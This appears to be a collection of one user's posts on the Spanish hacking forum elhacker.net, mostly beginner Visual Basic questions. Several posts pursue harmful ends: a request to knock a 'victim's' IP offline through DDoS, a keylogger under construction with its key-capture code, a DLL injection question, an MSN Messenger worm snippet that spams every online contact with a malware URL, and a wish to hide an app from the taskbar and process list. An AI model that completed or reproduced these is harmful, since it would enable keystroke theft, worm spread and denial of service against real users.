Temas

[Las respuestas por mensaje privado, gracias.]

Buenas!

Según mi duda de que si podía buscar alguien que realice un trabajo para mí y a cambio pagar por ello:

https://foro.elhacker.net/sugerencias_y_dudas_sobre_el_foro/iquestpuedo_hacer_negocios_en_el_foro-t482151.0.html;msg2158700#new

Me surge esta duda:

Algún programador que sepa cómo enviar un código a la consola de CHrome, ejecutando el programa en segundo plano para que no interrumpa al usuario?.

Actualmente está en desarrollo un programa que abre chrome dentro del form y se envía el código, pero para esto se tiene que hacer focus al programa y esto molesta al usuario (por muy invisible que sea), ya que si está en algún juego en ventana completa, se minimiza el juego y molesta al usuario y pensaba ejecutar el código cada 5 minutos (aproximadamente)

Me preguntaba si alguien sabía cómo hacerlo en segundo plano sin interferir la actividad del usuario.

Obviamente se trabajaría con ello y se llegaría a un acuerdo con el pago.

Gracias.

Las respuestas por mensaje privado, gracias.

Buenas! me preguntaba si era posible hacer negocios en este foro, ya que necesito un programador para que me haga una aplicación para desktop, pero no veo la sección de negocios.

Es posible crear un Tema en alguna parte del foro solicitando ayuda y pagando por ello?

Desde ya , gracias.

[No colocar datos personales. Comunicarse por MP.]

Buenas, ando buscando un experto en programación para crear un software que haga una determinada función, sólo programadores con experiencia, se pagará por el trabajo

agregar al skype por favor

No colocar datos personales. Comunicarse por MP.

Buenas a Todos!, tengo una duda que por favor quisiera que me ayudaran con ello.

Tengo este código HTML

Código [Seleccionar] Expandir


<select class="form-control input-sm" name="aff_test_id" id="aff_test_id">
    <option value="1">--</option>
    <option value="2">cuerpo</option><option value="3">brazo</option><option value="1">tronco</option>    </select>


Y quiero insertar o cambiar a la opción a 2 y estoy usando este código

Código [Seleccionar] Expandir


WebBrowser1.Document.getElementByiD("aff_test_id").Value = "2"

pero no me funciona.

(Funciona solamente si el campo de name(id) es "select", pero no puedo cambiarlo)

Cómo puedo hacer para que cambie el valor de la página?

Gracias.

Buenas!

Ando buscando en Google y aún no doy con lo que busco, por favor alguien podría decirme un código Script, para que cuando alguien ingrese al canal, enviarle un mensaje automático?

Gracias

Hola!

Tengo entendido que para que cuando alguien me envíe un mensaje y automáticamente le responda uso lo siguiente

Código [Seleccionar] Expandir

on ^*:open:?:*:{
 .msg $nick Hola $nick , Estoy ocupado pero si deseas me dejas tu mensaje
}


El código anterior, es el mejor método que existe para autoresponder cuando me envían MP? o existe otro.

AH! y lo que quisiera saber es cómo hago para que si me vuelve a escribir el mismo usuario, le vuelva a responder pero con otra frase, "Te dije que estoy ocupado".

Gracias.

Buenas, sucede que estoy tratando de conectarme a IRC desde un proyecto hecho en vb6, pero no logro conectarme porque me salta el error de:

Looking up you hostname...
Couldn't resolve your hostname.

¿Alguien tiene idea de porqué no puedo conectarme?

Tengo el siguiente código que es para abrir un ejecutable en un exe.

Código (VB) [Seleccionar] Expandir

Option Explicit

Private Declare Function GetGUIThreadInfo Lib "user32.dll" ( _
                ByVal idThread As Long, _
                ByRef pgui As GUITHREADINFO) As Long
               
Private Declare Function SetParent Lib "user32" _
               (ByVal hWndChild As Long, _
                ByVal hWndNewParent As Long) As Long

Private Declare Function GetAncestor Lib "user32.dll" _
               (ByVal hwnd As Long, _
                ByVal gaFlags As Long) As Long
               
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" _
               (ByVal lpApplicationName As String, _
                ByVal lpCommandLine As String, _
                lpProcessAttributes As SECURITY_ATTRIBUTES, _
                lpThreadAttributes As SECURITY_ATTRIBUTES, _
                ByVal bInheritHandles As Boolean, _
                ByVal dwCreationFlags As Long, _
                lpEnvironment As Any, ByVal _
                lpCurrentDriectory As String, _
                lpStartupInfo As STARTUPINFO, _
                lpProcessInformation As PROCESS_INFORMATION) As Long
               
Private Declare Function SetWindowPos Lib "user32" _
               (ByVal hwnd As Long, _
                ByVal hWndInsertAfter As Long, _
                ByVal x As Long, _
                ByVal y As Long, _
                ByVal cx As Long, _
                ByVal cy As Long, _
                ByVal wFlags As Long) As Long

Private Type RECT
       Left As Long
       Top As Long
       Right As Long
       Bottom As Long
End Type

Private Type GUITHREADINFO
       cbSize As Long
       flags As Long
       hwndactive As Long
       hwndFocus As Long
       hwndCapture As Long
       hwndMenuOwner As Long
       hwndMoveSize As Long
       hwndcaret As Long
       rcCaret As RECT
End Type
Private Type STARTUPINFO
       cb As Long
       lpReserved As String
       lpDesktop As String
       lpTitle As String
       dwX As Long
       dwY As Long
       dwXSize As Long
       dwYSize As Long
       dwXCountChars As Long
       dwYCountChars As Long
       dwFillAttribute As Long
       dwFlags As Long
       wShowWindow As Integer
       cbReserved2 As Integer
       lpReserved2 As Long
       hStdInput As Long
       hStdOutput As Long
       hStdError As Long
End Type

Private Type PROCESS_INFORMATION
       hProcess As Long
       hThread As Long
       dwProcessId As Long
       dwThreadId As Long
End Type

Private Type SECURITY_ATTRIBUTES
       nLength As Long
       lpSecurityDescriptor As Long
       bInheritHandle As Boolean
End Type

Private Const GA_PARENT = 1
Private Const SWP_NOOWNERZORDER = &H200
Private Const SWP_NOZORDER = &H4
Private Const SWP_SHOWWINDOW = &H40

Private udtGUI As GUITHREADINFO
Private udtProc As PROCESS_INFORMATION

Private Function StartProcess(strProgram As String) As Long
Dim udtStartup As STARTUPINFO
Dim udtSec As SECURITY_ATTRIBUTES
Dim lngReturn As Long
udtStartup.cb = Len(udtStartup)
udtSec.nLength = Len(udtSec)
udtSec.bInheritHandle = True
'
' Start the process
'
lngReturn = CreateProcess(strProgram, vbNullString, udtSec, udtSec, _
                        True, ByVal 0, ByVal 0, vbNullString, _
                        udtStartup, _
                        udtProc)
txtProcess.Text = Hex(udtProc.dwThreadId)
lngReturn = GetAncestor(udtProc.hProcess, GA_PARENT)
txtParent.Text = Hex(lngReturn)
udtGUI.cbSize = Len(udtGUI)
'
' Wait for an hWnd to be allocated
'
Do
   lngReturn = GetGUIThreadInfo(udtProc.dwThreadId, udtGUI)
   DoEvents
Loop Until udtGUI.hwndactive <> 0
StartProcess = udtGUI.hwndactive
End Function
Private Sub PositionWindow(hwnd As Long)
Dim lngReturn As Long
lngReturn = SetWindowPos(hwnd, hwnd, 250&, 0&, 250&, 250&, SWP_NOZORDER Or SWP_SHOWWINDOW)
End Sub
Private Sub cmdIE_Click()
Dim lngReturn As Long
Dim strProg As String
strProg = "C:\Program Files (x86)\FileZilla FTP Client\filezilla.exe"
lngReturn = StartProcess(strProg)
End Sub


Private Sub Command1_Click()
'
' Change the Parent
'
Dim lngReturn As Long
Dim lngStyle As Long
lngReturn = SetParent(udtGUI.hwndactive, Me.hwnd)
Call PositionWindow(udtGUI.hwndactive)
lngReturn = GetAncestor(udtGUI.hwndactive, GA_PARENT)
txtParent.Text = Hex(lngReturn)
End Sub

Private Sub Form_Load()
txtMe.Text = Hex(Me.hwnd)
'
' Scalemode = Pixel
'
Me.ScaleMode = 3
End Sub



Y efectivamente hace lo que yo quiero, abre un programa dentro del formulario, lo probé con la calculadora de Windows e incluso con otros programas



Pero lo que no entiendo es por qué no pasa lo mismo con Chrome, me refiero a que lo abre en una nueva ventana mas no dentro del formulario.

Me urge terminarlo cuanto antes, espero puedan ayudarme, muchas gracias!

Buenas tardes a todos, tengo una duda desde ya hace tiempo y no sé cómo resolverla, espero puedan ayudarme

Quisiera saber si es posible abrir el mismo Chrome dentro de un formulario, algo así



Que el navegador esté dentro del form, y obviamente al mover el form, también se mueva el navegador.

Será posible?, muchas gracias.

Buen día, quisiera saber si alguno de ustedes sabe cómo desconectar o poner lento la IP de una víctima.

He visto que desde mIRC cuando alguien entra aparece su IP y me interesa saber cómo puedo hacer para desconectar el internet de esa IP y que técnicamente el usuario se desconecte del chat (irc).

El día de ayer vi que un usuario de iRC - Undernet me dijo que sabía hacerlo y que incluso lo hizo conmigo, me desconectó del irc, aunque el ADSL de mi router estaba encendido, pero no tenía acceso a internet, así que reinicié el Router  y obtuve una nueva IP y recién pude volver a tener acceso a internet.

Así que supuse que había alguna forma de hacerlo, ya sea por algún software o Ataque DDOS.

Agradezco desde ya sus respuestas.

Hola

tengo una duda que no se si pueda arreglarlo
el problema es que si pudiese quitar ese sonido de navegacion en visual basic

porque tengo un proyecto el cual navega una pagina en un intervalo de 5 segundos

lo cual cada 5 segundos suena el sonido de navegacion

talves sea por el componente de explorer.

quisiera saber si existe forma de poder quitar ese sonido de navegacion

Gracias

Hola Gente...

Se me surgio un problema y quize acudir a ustedes para ver si me dan una manito

Como podria hacer para que un Timer Lea Linea por Linea el contenido de un texbox

me Explico:

en un intevalo de 1 segundo lea linea por linea el contenido de un textbox
y luego al terminar de leer la ultima linea vuelva a leer la primera linea

espero dejarme entender... gracias a todos y un fuerte abrazo

hola a todos

alguien sabra como hacer en visual basic para que convierta una Imagen de 32 bits a 16 bits ??

algo asi como hace photoshop al guardar una imagen 

alguna idea...??

Hola a todos

existe alguna forma de que un textbox contenga mas de  65535  caracteres?
(caraceres ilimitados)

o sino que al llegar al caracter  65535  en el texbox1 continue en el textbox2 65536

Se puede?

hola a todos

hace unos dias postee un tema sobre una duda q tenia sobre ver la imagen modificar su hex y luego guardarlo.. pero kreo q me fui de mas xD

esta usando San Google pero no encuentro

En si quisiera abrir cualquier achivo y que en un texbox se vea su HEX

e intentado hacer con la funcion Hex pero solo me aparece entre 6 & 8 bytes T.T

algo asi:

un archivo su codigo hexadecimal es este:

Código [Seleccionar] Expandir

SA4G65SDF4G65SDF4G6S5DF4G9658749S68G4DS21SA3D21G96SR87T65DS1V32S1G9687RT65SD1FG32SD4F9T7T21DF654SDRT54SD3F2G1SD96879SA4G65SDF4G65SDF4G6S5DF4G9658749S68G4DS21SA3D21G96SR87T65DS1V32S1G9687RT65SD1FG32SD4F9T7T21DF654SDRT54SD3F2G1SD96879SA4G65SDF4G65SDF4G6S5DF4G9658749S68G4DS21SA3D21G96SR87T65DS1V32S1G9687RT65SD1FG32SD4F9T7T21DF654SDRT54SD3F2G1SD96879


pero quisiera verlo en el texbox

espero averme explicado bien...

Salu2

hola a todos

tengo una duda con visualizar una imagen en visual basic
pero a la vez ver su codigo hexadecimal...
modificarlo y guardarlo

nose si me explico, les dejo una imagen del proyecto que quiero hacer



quiero abrir una imagen y en el textbox se vea su codigo hexadecimal

poder modificar ese codigo y luego poder guardarlo...



como podria hacerlo... talves alguien tenga alguna guia o ayuda q pueda compartir
conmigo

gracias de antemano

Hola a todos

tengo una duda... en mi project

weno... lo que para es que quiero q un commandbutton pase de

enabled(false)   A  enbled (true) al abrir un proceso ... ejemplo:

Código [Seleccionar] Expandir

IF notepad.exe esta abierto then

command1.enabled = true

End If

en este caso esto iria dentro de un timer

pero como podria plantear el codigo? 

hola a todos

tengo una duda desde hace tiempo

- Lo que pasa es que tengo un WEbBrowser en mi PRograma, y en ese webBrowser
hay un banner... Pero al dale click el banner se abre una Ventana de Internet Explorer

--Weno lo que yo kisiera haces es...

colocar otro webBrowser y al hacer click en el banner... que el destino se abra en el webBrowser 2

.. NOse si me dejo entender.. Spero que si =D

Gracias de antemano  

HOla a todos

tengo una duda..

como podria reemplazar un archivo ya existente.. por otro

kreo... q esta claro.. la duda que tengo..

aver si alguien me ayuda con esto =)

gracias de antemano

hola a todos

weno tengo una duda con un programita que tengo

En si lo que quiero es que el programa solo pueda abrirse una ves

talves exista algun Code

o alguna propiedad del formulario

weno... solo kisiera q el programa se puede abrir una sola ves

y si esque se intentara abrir de nuevo

no suceda nada.... ya que el programa ya estaria abierto...

weno espero que me ayuden en esto.

gracias de antemano

Hola A todos
weno tengo una duda con "generar exe desde un programa hecho en vB"
kisiera krear un programa que me genere un Exe (aplicacion) ..... Pero que en ese
exe  este codeado de un dicho codigo que yo especifique...!
ejemplo

al darle click al boton... generara el exe en el escritorio... y ese .exe es el form2
"osea que genere en exe el form2 desde el form1"

No se si me ayan entendido
Pero bueno espero que alguien me ayude con esto..!
talves tenga una guia o aya visto por hay
o talves alguna idea =)

Gracias de antemano...

algo similar a esto

http://www.sendspace.com/file/7mww2k

[Weno Hola a todostengo una pequeña duda Weno... Mi duda es la siguiente...tengo lo siguiente:y que al apretar el boton reemplaze los spacios " " por los siguientes "%%"osea que kede de la siguiente maneraalgo asi como un block de notas... que reemplaze =)espero que me ayan entendidoPD: estuve buscando la funcion Replace... Pero como que no me guio Biensoy un poko bajo en estas cosas... aver si alguien me puede ayudarGracias de antemano =)]

Weno Hola a todos

tengo una pequeña duda

Weno... Mi duda es la siguiente...

tengo lo siguiente:



y que al apretar el boton reemplaze los spacios " " por los siguientes "%%"

osea que kede de la siguiente manera



algo asi como un block de notas... que reemplaze =)

espero que me ayan entendido

PD: estuve buscando la funcion Replace... Pero como que no me guio Bien

soy un poko bajo en estas cosas... aver si alguien me puede ayudar

Gracias de antemano =)

[HOla Todos.!Bueno tengo la siguiente Dudaestuve agregando Items a un listbox, Todo me anda bien pero tengo unaduda con la barraMe Explico Con Imagenes...- Ahora Lo Tengo de Esta MAnera- Quisiera que Este De Esta ManeraQUe La Barra Este Hacia Abajo.. Y que mUestre el Ultimo Item Agregado...El COde Q tengo es Simple:]

HOla  Todos.!

Bueno tengo la siguiente Duda

estuve agregando Items a un listbox, Todo me anda bien pero tengo una

duda con la barra

Me Explico Con Imagenes...

- Ahora Lo Tengo de Esta MAnera



- Quisiera que Este De Esta Manera



QUe La Barra Este Hacia Abajo.. Y que mUestre el Ultimo Item Agregado...

El COde Q tengo es Simple:

Código [Seleccionar] Expandir

Private Sub Command1_Click()

For x = 1 To 50

List1.AddItem x

Next

End Sub


Bueno BUsque y Busque y no encontre...

prove con sus propiedades y no logre Hacerlo...

Talves alguno tenga alguna Idea =)

Gracias de Antemano

SAlu2[/b]

[Hola a todosweno tengo una duda en mi keylogger! q estoy haciendo =)bueno en si lo que pasa es que cuando yo presiono la tecla BackSpaceMe manda al text1.text lo siguiente "{BSPC}"Bueno eso lo puedo cambiar Yo =)Pero en Si lo que quisiera es que en el text1.text se borre la ultima letra escrita!ME Explico!...en el text1 Contiene lo siguiente! "hols{BSPC}a a todos"lo que yo quiero es lo siguienteen el text1 contenga lo siguiente "hola a todos"....Espero qe me ayan entendido =)...Estoy q ando en mi Keylogger! y me tope con esta Duda =/gracias de antemano =)]

Hola a todos

weno tengo una duda en mi keylogger! q estoy haciendo =)

bueno en si lo que pasa es que cuando yo presiono la tecla  BackSpace

Me manda al text1.text lo siguiente "{BSPC}"

Bueno eso lo puedo cambiar Yo =)

Pero en Si lo que quisiera es que en el text1.text se borre la ultima letra escrita!

ME Explico!...

en el text1 Contiene lo siguiente! "hols{BSPC}a a todos"

lo que yo quiero es lo siguiente

en el text1 contenga lo siguiente "hola a todos"....

Espero qe me ayan entendido =)...

Estoy q ando en mi Keylogger! y me tope con esta Duda =/

gracias de antemano =)

EDIT: EL CODe q tengo es este!

Código [Seleccionar] Expandir


Dim EstadoTecla As Long

EstadoTecla = GetAsyncKeyState(vbKeyBack)
If (EstadoTecla And &H1) = &H1 Then
text1.Text = text1.Text + "{BSPC}"
End If

Por cual lo cambiaria ?' =/

[Bueno ando en visual basiccuando quiero integrar el componente WebBrowser (IE)y me aparece ese errorfile not found "c:/windows/system32/ieframe.dll/Buske en San Google y lo unico q encontre fue esto]

Bueno  ando en visual basic

cuando quiero integrar el componente WebBrowser (IE)

y me aparece ese error

file not found "c:/windows/system32/ieframe.dll/

Buske en San Google y lo unico q encontre fue esto

ve a iNICIO--EJECUTAR-- REGEDIT,

BUSCAS:  IEFRAME.DLL\1

y veras que saldra ese iegrame.dll/1

Le das a editar borras el /1

y ya te funciona,

eso ta pasado por actualizar al 7 el IE

en realidad actuzalise en IE

e hice Todo Eso

Pero Aun ASI me Manda el Mismo Error

Alguien Sabra Como Solucionarlo

Gracias de antemano =)[/b]

[Hola A TodosBueno Ando en un proyecto medio RaroPero quiero Lograr hacerlo , ya que se me vino a la CAbeza esa idea xDBueno en si lo que quiero hacer es que la primera linea del contenido deun WebBrowser aparezca en el primer textbox y la sengunda linea que aparezcaen el segundo textboxBueno me explico con una IMG...Espero averme explicado Bien =)Gracias de AntemanoS2]

Hola A Todos

Bueno Ando en un proyecto medio Raro

Pero quiero Lograr hacerlo , ya que se me vino a la CAbeza esa idea xD

Bueno en si lo que quiero hacer es que la primera linea del contenido de

un WebBrowser aparezca en el primer textbox y la sengunda linea que aparezca

en el segundo textbox

Bueno me explico con una IMG...



Espero averme explicado Bien =)

Gracias de Antemano

S2

[Hola a todosBueno Tengo una Duda Acerca de EstoVi QUe HAcian Algo similar de EstoPero que en realidad lo Hacin en DelphiY Quize hacerlo en Visual Basic Creando Una DLL e inyectarlo en un Procesode aplicacionBuenO En Si intente hacerlo de todas formas y no consigo lograrloBueno Me expliko...Lo que En si quiero hacer , es una dll Que En si contenga Un Form con botones etc...Y Compilarlo en Dll para luego ser usado ...Pero Quiero Usarlo COn un Inyector de DLL...El inyector de DLL ya lo tengo Pero Lo que no consigo hacer es la DLL... que me ande Bien al inyectarlo En un proceso de ejecucionTAlves en la DLL tenga que poner El proceso de ejecucion o talves Otra Cosa De echo Probe y probe y luego lo inyecte con un inyector y no me aparecio mi Form =(Bueno Espero averme explicado Bien... Y alguien pueda ayudarme en esto =)PD: qquiero hacerlo para un injector de juegos xD...]

Hola a todos

Bueno Tengo una Duda Acerca de Esto

Vi QUe HAcian Algo similar de Esto

Pero que en realidad lo Hacin en Delphi

Y Quize hacerlo en Visual Basic Creando Una DLL e inyectarlo en un Proceso

de aplicacion

BuenO En Si intente hacerlo de todas formas y no consigo lograrlo

Bueno Me expliko...

Lo que En si quiero hacer , es una dll Que En si contenga Un Form con botones etc...

Y Compilarlo en Dll para luego ser usado ...

Pero Quiero Usarlo COn un Inyector de DLL...

El inyector de DLL ya lo tengo Pero Lo que no consigo hacer es la DLL... que me

ande Bien al inyectarlo En un proceso de ejecucion

TAlves en la DLL tenga que poner El proceso de ejecucion o talves Otra Cosa

De echo Probe y probe y luego lo inyecte con un inyector y no me aparecio mi

Form  =(

Bueno Espero averme explicado Bien...  Y alguien pueda ayudarme en esto =)

PD: qquiero hacerlo para un injector de juegos xD...

[Hola a todostengo una dudaWeno en si, nose si se podra hacer un form al estilo que uno guste ...un ejemploBueno yo quise acer uno AsiPero Me refiero si abra alguna forma de hacerloTalves algun Code que ME Guie =)Gracias de antemano...]

Hola a todos

tengo una duda

Weno en si, nose si se podra hacer un form al estilo que uno guste ...

un ejemplo



Bueno yo quise acer uno Asi

Pero Me refiero si abra alguna forma de hacerlo

Talves algun Code que ME Guie =)

Gracias de antemano...

[Hola A todosBueno navegando por el foro encontre este tema(No revivi ese Tema Porq Era antiguo)lo cual vi un code lo cual lo pruebo y siempre me manda error]

Hola A todos

Bueno navegando por el foro encontre este tema

(No revivi ese Tema Porq Era antiguo)

lo cual vi un code lo cual lo pruebo y siempre me manda error

Código [Seleccionar] Expandir

Public WithEvents msn As MessengerAPI.Messenger

Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
   For Each user In MsgrUIA.MyContacts
       If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
       Set venta = MsgrUIA.InstantMessage(user)
             SendKeys "www.TUVIRUS.com" 'url
             SendKeys "{ENTER}"
            SendKeys "%Z"
       End If
     Next
Set MsgrUIA = Nothing
End Sub



lo cual siempre me manda este error

Código [Seleccionar] Expandir

Set MsgrUIA = New MessengerAPI.Messenger


tengo activado en reference

Código [Seleccionar] Expandir

Messenger API Type Library
Messenger Private Type Library
Messenger Type Library

Pero Siempre me manda el mismo error


Bueno Espero Alguna Respuesta

TAlves tenga que arreglar el Code o HAcer otra Cosa =)

PD: Lo POsteo en esta Zona POrque El S.Code es en el lenguaje vB   Salu2[/b]

[Hola a todosweno navegando por internetme tope con un code lo cual lo probe y me funciona a la perfeccionpero en la parte que no entendi bien es donde dice]

Hola a todos

weno navegando por internet

me tope con un code lo cual lo probe y me funciona  a la perfeccion

pero en la parte que no entendi bien es donde dice




Si se quiere hacer mediante automatización, para no incluir la referencia se debe crear el objeto con CreateObject

Dim Obj As Object

Set Obj = CreateObject("CDO.Message")



BUeno En Si NO comprendi Bien

Donde tengo que poner Ese Code para no incluir la referencia

Les Dejo el CODE =)

Código [Seleccionar] Expandir

Option Explicit  
 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  
 
' El ejemplo para poder enviar el mail necesita la referencia a: _  
 > Miscrosoft CDO Windows For 2000 Library ( es el archivo dll cdosys.dll )  
 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  
   
Private Function Enviar_Mail_CDO(SerVidor_SMTP As String, _  
                            Para As String, _  
                            De As String, _  
                            Asunto As String, _  
                            Mensaje As String, _  
                            Optional Path_Adjunto As String, _  
                            Optional Puerto As String = "25", _  
                            Optional Usuario As String, _  
                            Optional Password As String, _  
                            Optional Usar_Autentificacion As Boolean = True, _  
                            Optional Usar_SSL As Boolean = True) As Boolean  
     
     
   Me.MousePointer = vbHourglass  
     
   ' Variable de objeto Cdo.Message  
   Dim Obj_Email As CDO.Message  
           
     
   ' Crea un Nuevo objeto CDO.Message  
   Set Obj_Email = New CDO.Message  
     
   ' Indica el servidor Smtp para poder enviar el Mail ( puede ser el nombre _  
     del servidor o su dirección IP )  
   Obj_Email.Configuration.Fields(cdoSMTPServer) = SerVidor_SMTP  
     
   Obj_Email.Configuration.Fields(cdoSendUsingMethod) = 2  
     
   ' Puerto. Por defecto se usa el puerto 25, en el caso de Gmail se usan los puertos _  
     465 o  el puerto 587 ( este último me dio error )  
     
   Obj_Email.Configuration.Fields.Item _  
       ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = CLng(Puerto)  
 
     
   ' Indica el tipo de autentificación con el servidor de correo _  
    El valor 0 no requiere autentificarse, el valor 1 es con autentificación  
   Obj_Email.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/" & _  
               "configuration/smtpauthenticate") = Abs(Usar_Autentificacion)  
     
     
     
       ' Tiempo máximo de espera en segundos para la conexión  
   Obj_Email.Configuration.Fields.Item _  
       ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 30  
 
     
   ' Configura las opciones para el login en el SMTP  
   If Usar_Autentificacion Then  
 
   ' Id de usuario del servidor Smtp ( en el caso de gmail, debe ser la dirección de correro _  
    mas el @gmail.com )  
   Obj_Email.Configuration.Fields.Item _  
       ("http://schemas.microsoft.com/cdo/configuration/sendusername") = Usuario  
 
   ' Password de la cuenta  
   Obj_Email.Configuration.Fields.Item _  
       ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Password  
 
   ' Indica si se usa SSL para el envío. En el caso de Gmail requiere que esté en True  
   Obj_Email.Configuration.Fields.Item _  
       ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = Usar_SSL  
     
   End If  
     
 
   ' *********************************************************************************  
   ' Estructura del mail  
   '**********************************************************************************  
     
   ' Dirección del Destinatario  
   Obj_Email.To = Para  
     
   ' Dirección del remitente  
   Obj_Email.From = De  
     
   ' Asunto del mensaje  
   Obj_Email.Subject = Asunto  
     
   ' Cuerpo del mensaje  
   Obj_Email.TextBody = Mensaje  
     
   'Ruta del archivo adjunto  
     
   If Path_Adjunto <> vbNullString Then  
       Obj_Email.AddAttachment (Path_Adjunto)  
   End If  
     
   ' Actualiza los datos antes de enviar  
   Obj_Email.Configuration.Fields.Update  
     
   On Error Resume Next  
   ' Envía el email  
   Obj_Email.Send  
     
     
   If Err.Number = 0 Then  
      Enviar_Mail_CDO = True  
   Else  
      MsgBox Err.Description, vbCritical, " Error al enviar el amil "  
   End If  
     
   ' Descarga la referencia  
   If Not Obj_Email Is Nothing Then  
       Set Obj_Email = Nothing  
   End If  
     
   On Error GoTo 0  
   Me.MousePointer = vbNormal  
 
End Function  
 
Private Sub Command1_Click()  
     
   Dim ret As Boolean  
     
   ' Asegurarse de pasar bien los últimos dos parámetros _  
    ( Si usa login y si el server usa SSL)  
     
   ret = Enviar_Mail_CDO(txt_Servidor, _  
                         txt_Para, _  
                         txt_De, _  
                         txt_Asunto, _  
                         txt_Mensaje, _  
                         txt_Adjunto, _  
                         txt_Puerto, _  
                         txt_Usuario, _  
                         txt_Password, _  
                         True, _  
                         True)  
     
   ' Si devuelve true es por que no hubo errores en el envio  
   If ret Then  
       MsgBox " .. Maneje enviado ", vbInformation  
   End If  
End Sub  
 
Private Sub Form_Load()  
 
   Me.Caption = " Ejemplo para enviar correo usando la libreria Microsoft CDO "  
   Command1.Caption = " Enviar mail "  
     
   txt_Servidor.Text = "smtp.gmail.com"  
   txt_Para = "destinatario@dominio.com"  
   txt_De = "remitente@dominio.com"  
   txt_Asunto = "Prueba"  
   txt_Mensaje = " ... Cuerpo del mensaje "  
   txt_Adjunto = vbNullString  
   txt_Puerto.Text = 465  
   txt_Password = ""  
   txt_Usuario = ""  
End Sub  








Bueno tambien les dejo la Web para que me entiendan =)

http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/337-enviar-correo-en-vb-con-microsoft-cdo.htm

espero Alguna respuesta =)

gracias de antemano

[Hola A TodosBueno Desde HAce tiempo Tengo esta Duda Y Kisiera Ver si UStedes SAben COmo HAcerloBueno En si lo que queria saber es Komo?saber algo de un proces de ejecucionbueno me explicoBueno Hacer Un Programa en Visual Basic lo cual en un textbox me Diga lo que HAy en la ejecucionEjemploBueno En SI NO SE si se pueda hacer estoBueno espero Alguna Respuesta =)salu2]

Hola A Todos

Bueno Desde HAce tiempo Tengo esta Duda Y Kisiera Ver si UStedes SAben COmo HAcerlo

Bueno En si lo que queria saber es Komo?

saber algo de un proces de ejecucion

bueno me explico



Bueno Hacer Un Programa en Visual Basic lo cual en un textbox me Diga lo que HAy en la ejecucion

Ejemplo



Bueno En SI NO SE  si se pueda hacer esto

Bueno espero Alguna Respuesta =)

salu2

EDIT: talves una opcion sea viendo los pixeles en la pantalla y localizarlos

bueno es mi unika idea =)

[Hola A TOdosBueno Anda en un proyectoy me tope con esta dudabueno mi duda es la siguientebueno lo que quisiera es que al presionar la tecla F1 Se Seleccione la siguiente OPcion2y si vuelo a presionar F1 , se vuelva a elegir la siguiente opcion3y si presiono F2 se selecciona la opcion anterior2Bueno Espero Averme explicado Bien =)Gracias Espero ALguna Rpta]

Hola A TOdos

Bueno Anda en un proyecto

y me tope con esta duda

bueno mi duda es la siguiente



bueno lo que quisiera es que

al presionar la tecla F1 Se Seleccione la siguiente OPcion2

y si vuelo a presionar F1 , se vuelva a elegir la siguiente opcion3

y si presiono F2 se selecciona la opcion anterior2

Bueno Espero Averme explicado Bien =)

Gracias Espero ALguna Rpta

[Bueno Hola a todostengo una duda en la cual quisiera que me ayuden un poko en esto xDBueno tengo entendido q SetWindowPos es para que el Form este siempre visibleahora mi pregunta es Como aria para que un boton o un label o talves un texboxeste siempre visibleme explico con imagenes =)Espero Que me ayan entendidoGracias de antemano]

Bueno Hola a todos

tengo una duda en la cual quisiera que me ayuden un poko en esto xD

Bueno tengo entendido q SetWindowPos es para que el Form este siempre visible


ahora mi pregunta es   Como aria para que un boton o un label o talves un texbox

este siempre visible

me explico con imagenes =)








Espero Que me ayan entendido

Gracias de antemano

[Hola a todosBueno desde hace tiempo tengo una duda de estoBueno he visto que varios crean programaspero que para ejecutarlo necesitan hacer clik en la publicidad para abrirEjemplo:que en un webBrowser este un banner lo cual tengas que hacerle click para habilitar un boton (Command1.enabled = true)Intente HAcerlo pero asta ahorita NO Entiendo Como se HAceSi alguien Tiene Una iDea De Como HAcerloSe lo agradeceria ; )GraciasSalu2]

Hola a todos

Bueno desde hace tiempo tengo una duda de esto

Bueno he visto que varios crean programas

pero que para ejecutarlo necesitan hacer clik en la publicidad para abrir

Ejemplo:

que en un webBrowser este un banner lo cual tengas que hacerle click para

habilitar un boton (Command1.enabled = true)

Intente HAcerlo pero asta ahorita NO Entiendo Como se HAce

Si alguien Tiene Una iDea De Como HAcerlo

Se lo agradeceria ; )

Gracias

Salu2

[Hola A TodosBueno tengo una pekeña duda con Un E - Mail que eNVia Mensajes xDBueno Yo tengo ya todo el programaincluso me funciona a la perfecciony cuando se los envio a mis contactos Tambien Pueden AbrirloPero El Problema ME Anda En QUe Ellos No Pueden UsarloBueno Estoy Usando el smtp de hotmailtalves no acepte SpamAver si alguien me GUia un pokoO talves tenga que usar el smtp de yahoo o Gmail espero sus respuestas]

Hola A Todos

Bueno tengo una pekeña duda con

Un E - Mail que eNVia Mensajes xD

Bueno Yo tengo ya todo el programa

incluso me funciona a la perfeccion

y cuando se los envio a mis contactos Tambien Pueden Abrirlo

Pero El Problema ME Anda En QUe Ellos No Pueden Usarlo

Bueno Estoy Usando el smtp de hotmail

talves no acepte Spam

Aver si alguien me GUia un poko

O talves tenga que usar el smtp de yahoo o Gmail

espero sus respuestas

[Hola a TodosDespues del gran favor que me Hizo cΔssiΔnі Ahora ME Enrede COn otra Cosa Que Aun NO Lo Encuentro T.TLo Que QUisiera es queUna APlikacion de VB al abrirlo NO aparezca en la barra de tareas ni en los procesosMe explico, que desaparescan de akiBUeno Espeo De Su Ayuda =)Gracias de Antemano]

Hola a Todos

Despues del gran favor que me Hizo cΔssiΔnі

Ahora ME Enrede COn otra Cosa  Que Aun NO Lo Encuentro T.T

Lo Que QUisiera es que

Una APlikacion de VB al abrirlo NO aparezca en la barra de tareas ni en los procesos


Me explico,  que desaparescan de aki



BUeno Espeo De Su Ayuda =)

Gracias de Antemano

